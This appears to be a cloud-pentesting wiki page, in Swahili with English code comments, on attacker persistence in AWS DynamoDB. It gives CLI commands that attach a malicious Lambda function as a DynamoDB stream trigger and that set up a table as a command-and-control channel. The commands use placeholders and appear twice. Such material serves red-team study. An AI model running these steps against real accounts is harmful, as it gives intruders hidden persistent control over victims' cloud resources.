AWS - DynamoDB Persistence

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DynamoDB

Kwa maelezo zaidi tembelea:

DynamoDB Triggers with Lambda Backdoor

Kwa kutumia vichocheo vya DynamoDB, mshambuliaji anaweza kuunda mlango wa siri kwa kuunganisha kazi ya Lambda yenye uharibifu na jedwali. Kazi ya Lambda inaweza kuchochewa wakati kipengee kinapoongezwa, kubadilishwa, au kufutwa, ikimruhusu mshambuliaji kutekeleza msimbo wowote ndani ya akaunti ya AWS.

# Create a malicious Lambda function
aws lambda create-function \
--function-name MaliciousFunction \
--runtime nodejs14.x \
--role <LAMBDA_ROLE_ARN> \
--handler index.handler \
--zip-file fileb://malicious_function.zip \
--region <region>

# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
--table-name TargetTable \
--region <region>

# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
--function-name MaliciousFunction \
--event-source <STREAM_ARN> \
--region <region>

Ili kudumisha uvumilivu, mshambuliaji anaweza kuunda au kubadilisha vitu katika meza ya DynamoDB, ambayo itasababisha kazi ya Lambda yenye uharibifu. Hii inamruhusu mshambuliaji kutekeleza msimbo ndani ya akaunti ya AWS bila mwingiliano wa moja kwa moja na kazi ya Lambda.

DynamoDB kama Kituo cha C2

Mshambuliaji anaweza kutumia meza ya DynamoDB kama kituo cha amri na udhibiti (C2) kwa kuunda vitu vyenye amri na kutumia mifano iliyovunjika au kazi za Lambda kupata na kutekeleza amri hizi.

# Create a DynamoDB table for C2
aws dynamodb create-table \
--table-name C2Table \
--attribute-definitions AttributeName=CommandId,AttributeType=S \
--key-schema AttributeName=CommandId,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--region <region>

# Insert a command into the table
aws dynamodb put-item \
--table-name C2Table \
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
--region <region>

The compromised instances or Lambda functions can periodically check the C2 table for new commands, execute them, and optionally report the results back to the table. This allows the attacker to maintain persistence and control over the compromised resources.

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Last updated 3 days ago

# Create a malicious Lambda function aws lambda create-function \ --function-name MaliciousFunction \ --runtime nodejs14.x \ --role <LAMBDA_ROLE_ARN> \ --handler index.handler \ --zip-file fileb://malicious_function.zip \ --region <region> # Associate the Lambda function with the DynamoDB table as a trigger aws dynamodbstreams describe-stream \ --table-name TargetTable \ --region <region> # Note the "StreamArn" from the output aws lambda create-event-source-mapping \ --function-name MaliciousFunction \ --event-source <STREAM_ARN> \ --region <region>

# Create a DynamoDB table for C2 aws dynamodb create-table \ --table-name C2Table \ --attribute-definitions AttributeName=CommandId,AttributeType=S \ --key-schema AttributeName=CommandId,KeyType=HASH \ --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ --region <region> # Insert a command into the table aws dynamodb put-item \ --table-name C2Table \ --item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \ --region <region>